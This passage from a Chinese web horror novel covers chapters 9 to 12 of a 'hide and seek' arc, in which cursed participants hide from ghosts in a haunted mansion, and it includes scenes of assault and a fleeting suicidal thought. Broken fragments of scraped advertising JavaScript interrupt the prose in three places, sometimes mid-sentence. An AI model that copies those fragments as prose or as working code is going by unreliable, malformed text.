这里赫然变成了一间杂物储藏室,灰尘在光柱中飞舞,空气里散发着一股霉味。王彬越过徐凯站到前面,双眼忽然一亮:“你看那个!” 墙角竖着一个巨大的座钟,钟摆摇晃,秒针仍在转动。 徐凯转动手电照过去,不明白他的意思:“你指的是那座钟?它怎么了?” “还记得在客厅里看的那盘影碟吗?游戏的开始和中断全受钟声控制。”王彬穿过杂物挤过去,对着座钟又摸又敲:“可惜它太重了,不然可以搬到一楼好好研究,洛晚看到的话,说不定会推断出一些有用的东西。” “可以拍照给她看。”徐凯举着手电跟过来:“但这座钟真的会响吗?我们进来四个多小时了,从来没听过整点的钟声。” “可能在0点后会响?”王彬也不确定:“先拍照吧,我们还要去找那扇重要的门,时间不多了。” 顶层的另一间卧室位于书房对面,面积不小,自带卫浴,格局与楼下的卧房相同。房间中央有张大床,床边突兀地放着一个三层铁架;朝南的落地门外延伸出一个封闭的小阳台,阳台上挂着几件连衣裙,正随着夜风飘飘荡荡。 徐凯和王彬谨慎地站在门口,不约而同地望向那个空荡荡的三层铁架。 王彬觉得这幅场景有些眼熟,却想不起在哪儿看到过,“那个铁架……” “在一楼客厅中倒扣的画作里出现过。”徐凯笃定道:“我头脑不灵活,但记忆力不错,无论人还是物,只要见过就不会忘。这也是我们的职业素养。” “对了,那些画!”王彬踌躇几秒,扭头吩咐徐凯:“我记得女鬼走出的那扇门边有个与这类似的三层铁架,你们保镖擅长寻找密室、暗门这些东西吧?你去检查一下,看看铁架附近的墙壁上有没有隐藏的空间。” “这太危险了。”徐凯断然拒绝。那扇门开启后会涌出鬼魂,恐怕与阴世相通,他绝不拿生命开玩笑。 “还记得自己的身份吗?你可是黄家为我雇佣的保镖。” “我可以退掉佣金。” 他的态度坚决,王彬无话可说,最终不甘不愿地拍了几张照,下楼准备去客厅会合。 委托马上就要开始了—— 9. 捉迷藏(九) 王彬和徐凯回到一楼时,客厅的蜡烛已经重新点燃,齐晨正靠在餐桌上翻着一个软皮本。 王彬环视了一圈:“洛晚呢?” “在这里。”洛晚正好从侧面的卧室里走出来:“一楼的房间好像没人去过,不过里面没什么稀奇的,只有一张木板床。” “楼上的也差不多。”徐凯揉揉额角:“我们分别遇到了灵异事件。” “我也是!”齐晨放下软皮本,后怕地凑近他们:“我在影音室里莫名其妙地睡着了,梦到自己在看恐怖片!” 王彬伸手拿过本子:“这是什么?” “我在-1层茶室里找到的日记,主人应该是前任或更久前的屋主。”洛晚远远靠在墙壁上,与他们保持着一定距离:“这里虽然叫‘白家公馆’,但白家不是最初的屋主吧?你们了解多少与房子有关的信息?” “这幢别墅正经登记过的屋主有3位,除了白家男主人外,还有一个港岛富商和一个贸易公司的老板。贸易公司的老板是可以查到的第一任屋主,可惜时间久远,目前只知道他叫柳雄志,找不到关于他的更多消息。” 洛晚若有所思地点点头。柳雄志,阿志,小名倒是对得上。 “后来呢?他为什么搬走了?” “不清楚。”王彬耸耸肩,借着烛光快速浏览日记:“他只居住了不到半年,接着就彻底没了音信,公司好像也破产了。毕竟是十多年前的事,当时网络不发达,他又不是什么出名的人……你怀疑这本日记里写的‘阿志’是他?” “没错。”洛晚梳理着脑中的线索:“那第二任房主呢?” “有关他的消息就更少了,只知道是个港岛富商,来内地谈生意时买了这栋房子……” “谁?!” 徐凯突然上前几步,冲着后院高声呵斥。其余三人一惊,立刻戒备起来。 王彬低声询问:“是人?” 徐凯点点头,朝他打个手势,独自轻手轻脚地去了后院。 一阵“扑簌簌”的碎响后,外面响起女子短促的尖叫。很快,徐凯就挟着一个长发凌乱的女生走进来。 “放开我,你是谁?救命——” “闭嘴!” 他粗暴地把女生推到客厅中央,“她鬼鬼祟祟地躲在后院,不知道想干什么。” “你们是谁?想做什么?”女生惊惶地抬起脸,眼圈发红地往后缩:“你们、你们为什么要抓我?我已经报警了,你们最好别乱来!” 她穿着白T恤、牛仔裤,腰间背着一个闪闪发光的亮片小方包,脚上穿着白球鞋,面孔青涩,青春逼人。洛晚默默打量了一会儿,忽然开口问道:“你是顾梦瑶?” 女生犹如惊弓之鸟,闻言马上侧过脸:“你怎么知道?” “果然,第5位委托者。”洛晚善意地为她介绍:“我是洛晚,他们分别是齐晨、王彬、徐凯——你应该在羊皮纸上见过我们的名字。” “你们也有那张羊皮纸?”顾梦瑶双眼一亮,可脑子却更加混乱:“不,不可能……难道那些都是真的?我不信,一定是你们在恶作剧!” 第一次参与委托的人出现这种反应很正常,洛晚正要详细解释一下,王彬却不耐地瞪她一眼:“爱信不信,没人逼着你相信,但一会儿你如果敢妨碍我们……” 三个男人齐齐盯过来,目光凶狠,虎视眈眈。顾梦瑶吓得一退再退,胆怯地缩到洛晚身边,不敢再出声。 “你经历的一切都是真的。”洛晚沉静地看着她:“捡到羊皮纸就等于被恶鬼标记,必须要完成它们的委托,逃避或失败都会死。” 顾梦瑶连连摇头,不敢置信:“不……” “眼下时间紧迫,我言尽于此,其他的等这次委托结束后再说。”洛晚温和却强硬地打断她,转而望向王彬:“刚刚说到了这栋屋子的第二任主人,一个来内地做生意的港岛富商。” 王彬不善地瞧着顾梦瑶,最终看在洛晚的面子上没有深究:“有关这位富商的消息更少,但他买下这栋别墅后并没自住,而是租了出去,两年后又转手给了白家。” 难得的线索断掉了,洛晚在心底叹口气:“我原本以为画中的门会在地下室,可没有,地下室里只有一道门,通向室外停车场。” “楼上也没有,但我们在顶楼书房里找到了座钟……” 几人交换了各自的发现与猜想,可对“捉迷藏”依然没有头绪。距离0点越来越近,徐凯的脸上露出焦急之色:“找不到门,我们就无法搞清女鬼从哪里出现……” “不能急。”王彬囫囵地读完了日记,安抚地拍拍他的肩:“急会出错,我们还要渡过3个小时呢。” 徐凯隐忍地闭了下眼,抿着唇瓣不做声;齐晨看看这个又瞧瞧那个,不安地转着眼睛:“喂,那个……现在是23:41,我们是不是该躲起来了?” “是的。”洛晚转向身侧沉默的顾梦瑶,“刚才的分析你都听到了,我希望你能足够重视。” 顾梦瑶木然地点点头,她可怜地抓住洛晚的胳膊:“真的……有鬼吗?” “有。” “那,我们可以一起吗……” “不可以。”洛晚拒绝得十分坚决:“我建议所有人都分散开,而且不要在同一个地方静止不动。” 齐晨与顾梦瑶怀着同样的心思,闻此立即看过来:“为什么?” “大家在一起的话,一旦被发现就会一锅端。”王彬神色严肃,生怕有蠢货拖累自己:“而且,关于‘捉迷藏’的一切都是基于推测,万一待会儿没有钟声怎么办?万一我们没有躲藏的时间怎么办?万一规则与我们想的不同怎么办?” “的确。”洛晚镇定地接口:“我们需要时间来观察验证,最好能找到克制鬼魂的道具……总之,大家离得越远越好。” 徐凯一贯信任他们,此时见二人意见一致,最先表态道:“那我去顶楼。” 齐晨犹豫了一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 会儿,迟疑道:“我、我就在这层……不,还是去2楼!” 王彬早就想好了:“我在这一层。”既能上又能下,还连着前后两个院子,即便真的不幸被找到也有很多退路。 洛晚沉吟了几秒:“我对地下更熟悉,就去-1层好了。” 几人一齐看向神情恍惚的顾梦瑶,后者张了一下嘴,在他们的逼视下不得不出声:“我……我也去地下。” “不然干脆把她打晕扔在这儿算了,还能帮我们拖延时间,看看被找到究竟会怎么样。”王彬“咔嚓”“咔嚓”地活动着手腕,他对这个看上去就不聪明的女人始终不放心:“一般死掉一个人后,委托中就会出现一段‘安全期’……” “也可能诞生新的冤魂。”洛晚冷淡地打断他:“你想冒这种风险吗?” 王彬的动作一顿,之前确实有委托者死后变成冤魂杀死同伴的先例:“……好吧,那你看紧她,反正她离你最近。” 洛晚点点头,拉着顾梦瑶走向-1层,五人就此散开。 …… 顾梦瑶是锦安科技大学的二年级生,夜跑时在操场边意外捡到了一卷羊皮纸,哪知展开后身周突变,学校变成了宽广的河流,塑胶跑道变成了一叶扁舟,而她正颤颤巍巍地站在船头,目之所及是纯粹的黑暗。 头顶无星无月,船下的水面反射着微弱的光。她吓坏了,大声呼救,可这片水域却空无一人,广阔无垠。 不知过去多久,水面上忽然无风起浪,小船几乎被掀翻,水中伸出了一只只惨白干瘦的手。顾梦瑶不小心落入水中,身体顿时被撕成无数碎片,越沉越深,最后留在了幽暗冰冷的水底…… 就在绝望无助时,她猛地惊醒过来。原来一切都是一场梦。 据室友说,前一日夜跑后,她像往常一样回来,但似乎是心情不好,整个人阴郁寡言,谁说话都不理。顾梦瑶完全不记得自己回到了寝室,可那个梦境阴森奇特,她不敢细究,于是自欺欺人地刻意忽略,直到昨晚—— 午夜时分,她突然浑身发冷,心中升起一股巨大的恐惧,仿佛有恶鬼正在暗处窥探。被注视的感觉实在太强烈,顾梦瑶捂着胸口坐起来,下床想要喝口水,却一眼就看到了桌子上写着红字的羊皮纸。 它不该存在,但却诡异地出现在了寝室里,她的桌子上。 顾梦瑶吓坏了,当即把羊皮纸远远扔到了窗外,天一亮就去求神拜佛,又花大价钱请了一道护身符,可却依然无法安心。 羊皮纸上的几行字深深刻印在脑海中,想忘也忘不掉。顾梦瑶又怕又好奇,终于还是来到了白家公馆…… “这就是我的经历。”她紧跟在洛晚身后喋喋不休,企图靠说话来消除惊惧:“你呢?也捡到了羊皮纸吗?委托到底是什么东西?这真的不是恶作剧吗?” 此刻是23:51,两个人一前一后地走下楼梯,站定在-1层。 洛晚转过身,一把按住了她的肩—— 10. 捉迷藏(十) “顾梦瑶,我再说最后一遍:羊皮纸是真的、委托是真的、恶鬼是真的、梦也是真的,你经历的一切都是真的。我们现在必须尽力完成委托,否则就会死,所有人都会死。” 受她严肃的语气感染,顾梦瑶的嘴唇颤了颤,面孔逐渐变得苍白。 “委托者们随时都有生命危险,我们不知道自己会活到哪一天、死在哪一次委托中。在这种高压下,大家的底线会变低,有些甚至……”洛晚顿了顿,松开她的肩:“我不允许自己变成那样的人,也不会坐视其他人死于人祸。” 顾梦瑶木然地眨眨眼,头脑混沌,还没弄懂洛晚的意思,就听她道:“我只能帮你到这里了。躲起来,不要被找到,远离其他三个人,也远离我。” 顾梦瑶下意识问道:“被找到,会怎么样?” “被恶鬼杀死,或者被某些人当成实验对象,打晕后扔到显而易见的地方,凶多吉少。” 顾梦瑶剧烈地颤抖一下,眼圈发红,泪水模糊了视线。但现在不是自怨自艾的时候,她抹了把眼睛,强迫自己镇定下来:“你是打算躲在这一层吗?那我下去……” “不用。”洛晚声音沉静,不自觉地令人信服:“-1层很大,左侧是半开放的茶室,右侧是影音室;-2层很小,陈设简单,几乎没有藏身之处。” “那……”顾梦瑶小心翼翼地瞄着她:“我也可以待在这一层吗?” “可以,上楼也可以,去哪儿都可以。这是你的自由。” 洛晚说完就走向茶室,转过了屏风,显然不打算再继续交谈。顾梦瑶在原地抿紧唇,思考后走进影音室,慎重地锁紧了门。 此时已经23:58,距离委托开始还有2分钟。 洛晚蹲在茶室里观察了一会儿,确定她不会出来后,轻手轻脚地走到楼梯口,无声地来到了-2层。 事实上,她从一开始就打算躲到-2层,但防人之心不可无,她不相信包括顾梦瑶在内的任何一个,因此一直对他们说自己要去-1层。 她不会让任何人发现自己的位置。 虽然之前在这儿一无所获,可洛晚断定地下室是一个重要的地点。喜欢玩闹的孩子绝对不会在半夜主动靠近无聊潮湿的储物间,除非他被“吸引”或是“命令”——无论出于哪种原因,恐怕都与鬼魂有关。 不过洛晚暂时还无法勘破这里隐藏的秘密。 隐藏有重要秘密的场所,要么最危险,要么最安全。在她的判断中,这里很可能与阴世相通,是最容易出现鬼魂的地方,但洛晚愿意冒这个险。 在大多数人的惯常印象中,女性总是更谨慎,尤其她逻辑缜密,心细如发,连王彬都觉得她是个谋定后动、稳重可靠的人。 但洛晚却清楚,自己在某些时候更像一个胆大妄为的赌徒。 …… 0点整,时针、分针与秒针重合,白家公馆中突然敲响了12下钟声: “当”“当”“当”…… 客厅中摇曳的烛火“呼啦”一下全部熄灭。 躲在顶楼书房桌子后的徐凯清晰地听到了房间角落里传来的钟声。他记得那个座钟,在他们进入这幢别墅后从未响起过,没想到会在此刻以这种方式宣布委托开始。 异样之处也许隐藏着重要线索,但徐凯却没胆量上前探究。他个性保守,绝不会轻易涉险。与王彬和洛晚不同,他从不认为自己会找到真相,只期望能平平安安地玩完“捉迷藏”,3点后离开这个鬼地方。 依照分析,游戏节奏由钟声控制,前半小时生者躲藏,在座钟半点敲响后,鬼才会开始搜索抓人。徐凯不敢与这个奇怪的座钟离得太近,他猫着身子悄悄退出房间,犹豫几秒后,最终下楼去了2层。 ——可要去2楼的哪里呢? 徐凯在主卧里拍到过鬼、在玩具房中听到过莫名其妙的拍球声,如非必要,这两处他不会再去。剩余的选择不多,几乎不用纠结,他快速溜进了小卧室,四下环顾后,躲进了靠墙的衣柜里。 “当”—— 他刚关好衣柜的门,楼上就传来一声悠长的钟鸣。 徐凯愕然地看了眼时间,0:05——半点的钟声提前响起,也就是说,他们只有5分钟躲藏,而鬼却有55分钟去抓人! 这意味着静止不动迟早会被找到,想活命就要避开鬼魂,不断更换位置;然而,这次委托中却又史无前例地出现了多个鬼魂…… 徐凯的心不住往下沉,绝望感铺天盖地,某一瞬间甚至自暴自弃地想自/杀。可不等他动手,“吱呀”一声,虚掩的房门却凭空打开—— 他的心猛地提到嗓子眼,紧张地瞪大眼屏住呼吸,十指不受控制地颤抖起来。 狭小的衣柜中一片死寂,徐凯蜷着双腿,竖起耳朵拼命聆听,柜门外却再无其他动静。 他不安地贴在柜子里,双手紧抓着身后的大衣,忍不住胡思乱想:是鬼吗?……不,也可能是齐晨,他说过也要来2楼。可这间卧室不大,他进来的话又能藏到哪儿?除了衣柜,大概就只剩床下了…… 思绪飘飞,他又想起了之前与王彬走进这里时,王彬大喊“分开逃”……他说看到了3个影子,那后来呢?多出来的影子跟在谁身后?它眼下又在哪里? 时间在惶恐中被无限拉长,长久的寂静后,除了开门声之外,房间里依旧没有其他响动。紧绷的神经一点点放松,徐凯攥紧手指,无端生出几分焦躁。 比起漫长的煎熬,他更愿意干脆利落地来个痛快。 应该没事了吧?衣柜没被打开,他也没有被发现,鬼肯定已经离开了……那么,他能出去了吗? 洛晚说过,不要长久地待在同一个地方,更换位置才是正确的做法,所以不会出事的……他必须要大胆点,总不能一直躲在这儿……放心地走出去,不会有问题的! 徐凯不停给自己打气,终于战战兢兢地推开了衣柜。房门半开,不大的卧室里一目了然,他警惕地探出脑袋环视一圈,总算是彻底放下了心。 暗淡的夜光下,室内空无一物,他的影子在墙壁上拉长。抽屉大开,床上的被褥全被掀翻,房间里有明显的翻找痕迹。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 显然,鬼在搜索无果后离开了。虽然不清楚它为什么没有打开衣柜,但他却因此幸运地逃过了一劫。 徐凯后怕地靠回柜子里,双腿发软,后背上渗出黏腻的冷汗。鬼刚离开不久,很可能仍在这一层游荡,他决定按兵不动,过一会儿再悄悄溜到其他地方。 阴冷的夜风横穿露台灌入卧室,敞开的落地门前,白纱“呼啦啦”地鼓动,影子随风摇曳。徐凯怔怔地盯着墙壁,他看着对面扭曲的黑影,表情忽然僵住了。 房间里只有他一个人,而他正躲在衣柜里,不该在墙上留下投影…… 那道影子,究竟是谁的? 他的脸孔倏然变白,双眼惊恐地睁大,死死盯着对面的墙壁,眼睁睁地看着黑影一点点移动到衣柜前。 徐凯想逃跑,可双脚却像生了根一样定在柜子里;他想大声呼救,但嘴唇却失控地不住抖动,声音全堵在嗓子眼,只能发出微弱的呻/吟。 黑影缓缓挪到衣柜前,接着越来越矮,似乎慢慢缩进了柜子里。徐凯神经质地转动眼珠,麻木地扭过脸,愣愣地看着身前悬挂的大衣。 这是他第一次认真打量自己藏身的木质衣柜。 与别墅中其他蒙着灰尘的家具相比,它内部干燥,既没发霉也不潮湿,崭新得与周围格格不入。柜子里挂着几件女士大衣,颜色鲜艳,质感柔软,丝毫没有岁月销蚀的痕迹。 ——为什么这里会有衣服? 徐凯的心里突然冒出这个风马牛不相及的问题。 极度的恐惧下,他思维停滞,想法混乱,但整个人却意外地平静。 挂在他面前的是件白色长款羊绒大衣,干净柔顺,白得几乎能发光。徐凯双眼发直,忽然抬起了手—— 这里这么潮湿,衣服的内衬一定会发霉吧? 大衣上一共有5枚纽扣,他从上到下,双手虚软地一一解开,但在解到第三枚时却停住了。 衣服的下摆突然高高鼓起,仿佛正有一个人在向上爬。 徐凯惊悚地张大嘴,慢半拍地发出一声惊叫。他想甩开衣服,但大衣的领口却伸出两只苍白的手,铁钳似的一把抓住了他。 一个脑袋慢慢从衣服里伸出来。 衣柜里响起一道毫无感情的冰冷声音: “第、一、个,找、到、了。” “啊啊啊啊——” …… 影音室里。 顾梦瑶哆哆嗦嗦地缩在按摩椅下,双手死死捂着嘴,眼泪大滴大滴地滑落。 她听到了13下钟声,一切都是真的,打开那卷羊皮纸就等于被恶鬼标记,而委托失败,她就会死。 她做错了什么?为什么必须要经历这种恐怖残忍的事?谁能来救救她? 既然世界上有鬼,那么……也该有神灵吧? 顾梦瑶擦干眼泪,抖着手抽出了挂在脖子上的护身符。很好,它还在,她攥紧护身符,宛如有了主心骨,整个人霎时间安定下来。 神会庇护她的,慈悲的神灵一定会保佑虔诚的信徒,一定…… 11. 捉迷藏(十一) 按摩椅下的空间不大,顾梦瑶跪了一会儿就双腿发酸,不得不改变姿势趴到地上。 影音室里黑漆漆的,没有一丝光。她大着胆子摁亮手机,发现不知不觉已经过去了将近半小时。 0:26。 顾梦瑶咬着唇瓣努力回忆众人刚刚在客厅中交流的信息,可她对委托本就不熟悉,又没人耐心地告诉她规则,目前能确定的也就只有他们会遇到灵异现象而已。 不过——她情不自禁地攥紧手中的护身符,这可是高僧开过光的,不惧邪祟,挡厄消灾。有它在,她是不怕鬼的。 怀着这种乐观的想法,顾梦瑶的胆子又大了些。她从椅子下爬出来,打开手电环顾四周,摩挲着胳膊哆嗦了几下。 ——好冷。 这间影音室里没有窗,门也关得严严实实,头顶却有冷风一股股地往下吹,室内温度急剧下降。 顾梦瑶摸到墙边去找中央空调的控制板,果然,上面显示着室内只有18度。她调高温度,总觉得哪里不太对,一时却又想不出自己究竟忽略了哪个细节。 “簌簌”“簌簌”—— 身后忽然传来一阵细碎的响动,仿佛是裙角划过地面,又像是有人在用扫帚用力刮瓷砖。顾梦瑶猛地转过身,举高手机照过去,偌大的影音室却空无一人。 她紧捏着护身符,心底发毛,掌心沁出一层薄薄的冷汗。 “簌簌”“簌簌”—— 碎响又起,这次她听得清清楚楚,声音离自己更近了些。 顾梦瑶害怕地后退两步,背部紧紧抵着墙,汗毛倒竖,四肢发冷。她举着手机照来照去,厉声喝问:“谁!” 影音室里一片死寂,理所当然地没有回应。 她捏着护身符,神经愈发紧绷。不停在心里念着“阿弥陀佛”,顾梦瑶警惕地屏住呼吸,脚下一点点向门口挪。 “簌簌”“簌簌”—— 这一次的碎响就在耳边,脖子上也一痒,似乎扫过了什么毛茸茸的东西。顾梦瑶心里一颤,头皮瞬间炸了起来。她再也绷不住,尖叫着跑向门口,一把拉开门,风风火火地逃了出去。 “砰”,木门重重撞上墙壁,又慢慢地荡回来。 “簌簌”“簌簌”“簌簌”…… 空旷的影音室中,碎响更加密集,一缕缕长发自顶壁的通风口垂落。长发在地面缓慢地蜿蜒出一个人形,接着一道黑影僵硬地坐起来—— “第、二、个,找、到、了。” …… 顾梦瑶不了解白家公馆的布局,跑到楼梯口后头脑发懵,一时不知该上还是下。 她刚才去茶室找了一圈,却没看到洛晚的影子,而且不知是不是她太敏感,站在茶室时总有种正被恶意窥探的强烈感觉。顾梦瑶相信第六感,不敢在那儿多耽搁,低着脑袋攥紧护身符,一口气跑到了楼梯口。 那么现在,要往上走还是朝下走? 楼上的空间大,-2层却是个无处躲藏的小地下室,一旦被发现就只有死路一条,该向哪儿逃显而易见,但顾梦瑶却莫名有一种楼下更安全的感觉…… ——错觉吧,一定是错觉! 她用力拍拍脸,举着手机大步朝楼上跑去。 …… 王彬站在一楼卧室半掩的门后,竖着耳朵注意外面的动静。 这不是个隐蔽的位置,但逃跑却最方便。鬼如果进入房间,八成会去搜索衣柜、床下,而他则可以利用这几秒的时间差向外逃。 王彬从不认为委托中的“捉迷藏”是个静止的游戏,在半点的钟声提前敲响后,他更加笃定:决不能长久地躲在一个地方。 可四处乱走容易遭遇鬼魂,想要在鬼魂手下活命就必须找到能够克制它们的道具;然而道具有限,即便找到也很难撑过三个小时…… 王彬觉得这一次的委托在逼迫他们破解这幢凶宅中的诅咒,提前结束。 但到底该怎么办呢?据他所知,当初入室杀害白家三口人的歹徒早已枪决,而男主人又是自杀的,只剩一个幼子…… “嗷!” 楼上隐隐传来一声惨叫,王彬猛然瞪大眼,差点跟着惊呼出声。 徐凯……那是徐凯的声音! 徐凯是他唯一信任的人,他们同为黄家的棋子,知道很多有关委托的秘密。他被找到了吗?怎么会这样……为什么不是齐晨或者顾梦瑶,而是徐凯?果然当初就该打晕顾梦瑶扔到客厅里拖延时间! 一般来说,死掉一个人后就会出现一段没有鬼魂的“安全期”。王彬略一犹豫,当即决定去楼上看看。 哪知他刚走到楼梯口,一个人就冒冒失失地撞过来:“哎哟!” 顾梦瑶没想到前方会突然出现一道黑影,她慌忙举高手机照过去:“你是谁?是人是鬼!” “蠢货!”王彬劈手夺过她的手机狠狠摔烂:“你这样会被找到的,滚,快离我远点!” “放心吧,我有护身符,高僧开过光呢!”顾梦瑶得意地举起护身符,转而又愤怒道:“诶,你这人怎么这么野蛮,赔我手机!” 王彬气得咬牙切齿,他看着顾梦瑶傻乎乎的样子,心中不禁涌出恶念。 被鬼找到后会怎么样?就拿她来试试吧!这一次没有洛晚阻拦,他绝不会轻易罢手! “让我赔你的手机?呵呵,好啊——” 王彬眼神凶狠,粗暴地扯住了顾梦瑶,后者奋力挣扎,却被他一只手轻松制住。 “你想干什么?”顾梦瑶又惊又怒,她拼命扭动身子,双手却被王彬反扭到头顶:“你、你别乱来!你想要什么?钱吗?还是……” “闭嘴!”王彬甩了她两巴掌,用力踹向她的膝弯,顾梦瑶立刻倒抽着冷气跪倒在地,“你、你到底想干什么?” 王彬没理她。他以手为刀高高举起,打算一掌将她劈晕—— 忽然,一张惨白的脸从楼梯扶手上探出来! 他们此时正站在楼梯口,扶手距离-1层的地面足有3米高。王彬猝不及防间吓了一跳,伸手一推顾梦瑶,转身就朝楼上跑。 “啊——”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>顾梦瑶仰面从楼梯上滚落,“砰”地掉到了缓台上。她头脑发晕,浑身散了架似的疼,颤颤巍巍地支着双臂坐起身,手下却摸到一团毛茸茸的…… 头发? 她诧异地侧过头,乍然对上一张惨白的脸。这张脸离她极近,几乎是鼻尖贴着鼻尖。它的眼睛被长至鼻子的刘海挡住,只露出一张没有双唇和牙齿的嘴,黑洞洞的,扭曲着咧到耳根。 “不、鬼啊……救命!” 顾梦瑶吓得厉声尖叫,惊恐地连连往后缩。濒死的恐惧激发了她的潜力,她手脚并用地跳起来,顾不得疼痛,大步往上跑。 “第、二、个。” 毫无感情的冰冷声音在耳畔响起,双脚猛地被缠住,接着被大力朝后拖。顾梦瑶死死地抓着扶手,急中生智,单手快速脱掉牛仔裤和运动鞋,光着双腿继续向上跑。 去哪?该去哪? 她不敢回头,慌不择路地逃到前院,一路跑到虚掩的大门口。 离开这儿,只要离开这个鬼地方……不,不行!洛晚说过,委托失败就会死!这个世界上真的有鬼,一切都是真的,她不想死! 顾梦瑶无措地站在铁门前,大脑一片空白。她用余光瞄见地上有道黑影诡异地拉长,快速向这里延伸—— “不!” 她尖叫着拽掉护身符丢向黑影,但却毫无效果。她慌不择路地躲进院子里的凉亭,黑影却从地面直立而起,咧开嘴向她扑来! “不——不要!救命啊——” 顾梦瑶想跳出凉亭跑回别墅,然而双腿发软,狠狠被栏杆绊倒在地。此刻鬼已经进了凉亭,距她只有半步远。慌乱中,她随手捞起石桌上脏兮兮的玩偶向鬼砸去。 “……诶?” 黑影在接触到玩偶后迅速变淡,最终消失在幽暗的夜色中。顾梦瑶不可思议地瞪大眼,还没反应过来发生了什么,就猛地被人拖起来。 “你在这里干什么?”洛晚单手翻越栏杆,轻巧地跳进凉亭:“走!” 顾梦瑶浑浑噩噩地看着她,“我……这里有……” “快走!” 半拖半拽地把她扯进别墅,洛晚累得抹了把汗。她脱下外套系到顾梦瑶的腰间勉强为她蔽体,接着狠狠抽了她一巴掌—— “啪”! 顾梦瑶木然地皱起眉,慢半拍地捂住脸,眼中渐渐恢复了神采。 洛晚自觉与她无话可说,见她恢复正常后就要离开,哪知对方却急迫地抓住她的手臂:“玩偶!” “什么?” “你说过的,委托中能够克制鬼魂的道具——”顾梦瑶遑急地盯着她:“玩偶,是玩偶,我亲眼看到的!” 洛晚精神一振,反手按住她的肩:“你看到了什么?……不,这里不安全,你先等等!” 她拉着顾梦瑶躲进一楼客房中关紧门:“待会儿如果有危险,我们就分头逃,你走门,我跳窗。” 顾梦瑶感激地点点头,在被王彬胁迫后,她对洛晚更加信赖:“鬼魂接触到玩偶后就消失了,我确定!” 12. 捉迷藏(十二) 洛晚一直站在-2层靠墙的铁皮柜边,正对着楼梯。一旦察觉鬼通过楼梯来到地下室,她立刻就会向上逃。 在半点的钟声提前敲响后,她与王彬得出了同样的结论:这一次的委托在逼迫他们破解这幢凶宅中的诅咒,提前结束。 ——究竟是哪里有问题? 白家五口人的经历一一从脑中划过,她最终锁定了失足摔死在这儿的白家幼子。在歹徒入室抢劫的当晚,那个孩子躲在柜子里逃过了一劫,事后问起时,他说在玩“捉迷藏”…… 和谁玩?是前任屋主吗? 思绪飘远,洛晚又想起了那本日记。女主人在最后也写到了“捉迷藏”……如果诅咒有源头的话,她会是那个源头吗? 假设她是源头,那么她该做什么才能消弭鬼魂的怨恨呢?找出杀害她的凶手,还是挖出她被埋在某面墙壁中的尸体? 洛晚揉揉眉心,无声地叹口气。她觉得自己陷入了某个误区,一时却找不到正确的方向。 委托开始了这么久,这里都没鬼魂找过来,说明她运气不错,赌对了,-2层果然是个特殊的地方。洛晚犹豫几秒,小心地举高手机,摁亮了屏幕。 微弱的光线立即照亮一方小天地。 地下室与地上不同。在地面上的房间里,无论夜色多么暗淡,窗户都会透进几丝光,勉强让人看清周围的环境;可-2层没有窗,身周是纯粹的黑暗,洛晚没有训练过夜视能力,之前完全是凭借感觉和记忆在行事。 她断定,自己绝对忽略了某个隐藏在这里的重要线索。 洛晚把-2层重新翻找了一遍。她划破沙发,掀翻桌子,倒出发霉生虫的米和面,最后把目光转向了铁皮柜。 那里出现过灵异现象。 她紧咬下唇,轻手轻脚地走过去,手机屏幕幽暗的光线映照在铁皮柜上,反射出一团模糊的光。 “哐当”! 洛晚猛地拉开柜门,同时急速后退,可柜子里却空空如也,铁皮柜被她大力拉扯得轻微摇晃。 紧绷的神经略微放松,洛晚轻轻呼出一口气。她没有因此而放松警惕,挨个打开铁皮柜后,终于在最后一个柜子里发现一缕长发。 这显然是女人的头发,在之前检查时并不存在,是突然出现的。 洛晚背靠墙壁远远地盯着长发,她认为这是一个警示,这里也许下一秒就不再安全…… “啊啊啊啊——!” 楼上忽然模糊地传来顾梦瑶的尖叫,洛晚心里一颤,马上摁灭了手机。 五感在黑暗中格外灵敏,她听到楼上响起急促的脚步声,从左转到右,停留片刻后,又“蹬蹬蹬”地上了楼。 -1层只有顾梦瑶,她尖叫着逃离影音室,必然是遇到了可怕的东西。然而她跑出影音室后却没急着逃,而是到其他地方转了转,说明情况还不算紧急,起码鬼在这个时候没有追着她索命…… 但毫无疑问,-1层已经不安全了。 顾梦瑶搞出的动静不小,目标显眼,鬼很可能跟在她的身后。洛晚十指冰冷,胸口怦怦乱跳。她耐心地等待着,直到楼梯上再无动静,方才谨慎地跑上楼。 1层的出口多,门被堵住还能跳窗,虽然空间开阔难以躲藏,但却比2层和3层更易逃跑。洛晚打算先去1层,接下来看情况再决定。 然后,她就看到了瑟缩在凉亭中衣不蔽体的顾梦瑶,意外得到了有关道具的信息。 “鬼魂接触到玩偶后就消失了,我确定!”顾梦瑶抓住洛晚的胳膊,急迫道:“我们快去找玩偶吧,只要用玩偶封印它们……” “道具是有时效的。”洛晚冷静地打断她,并没被这个喜讯冲昏头脑:“即便玩偶真的能克制鬼魂,也无法彻底封印它们,只能为你增加几十秒或几分钟的逃跑时间。” “竟然这么没用!”顾梦瑶大惊失色:“那刚刚……” “嘘——”洛晚将食指竖在她的嘴唇前:“鬼魂只是暂时消退,不知道什么时候又会出现。这里不能久待,我要去顶楼找座钟,至于你……” “我和你一起去!”顾梦瑶态度坚决,神色惊恐:“鬼,我看到鬼了……太可怕了!我再也不要一个人了!” 洛晚动动胳膊,哪知她却抓得更紧:“你又要甩开我吗?休想,我是不会放手的!我告诉了你那么重要的信息,你必须要对我负责!” 顾梦瑶情绪激动,明显是被吓坏了。洛晚不想伤害她,可甩又甩不掉,顿时一阵头疼。 “你刚刚说这里不能久待,那我们就快走吧!”顾梦瑶生怕她丢开自己,快手快脚地打开门:“座钟在顶楼……啊!” 一只冰冷的手猛然抓住她的胳膊粗暴地向外扯,顾梦瑶狠狠被摔到地上,房门在她身后“砰”地关闭。 “洛晚、洛晚!你还在吗?洛晚!” 她惊惶地爬起来疯狂砸门,房间里却毫无回应。顾梦瑶转身朝楼梯跑,脖子却骤然被勒住了。 一个黑影倒立在屋顶,伸长手臂将她提起来: “第、二、个,找、到、了。” …… “当”—— 一点的钟声响起,按照规则,第一轮抓人结束,躲藏时间到。 齐晨捂着嘴窝在顶楼小卧室的床底下,面容呆滞,浑身都被冷汗浸透了。 他看到了,他全看到了…… 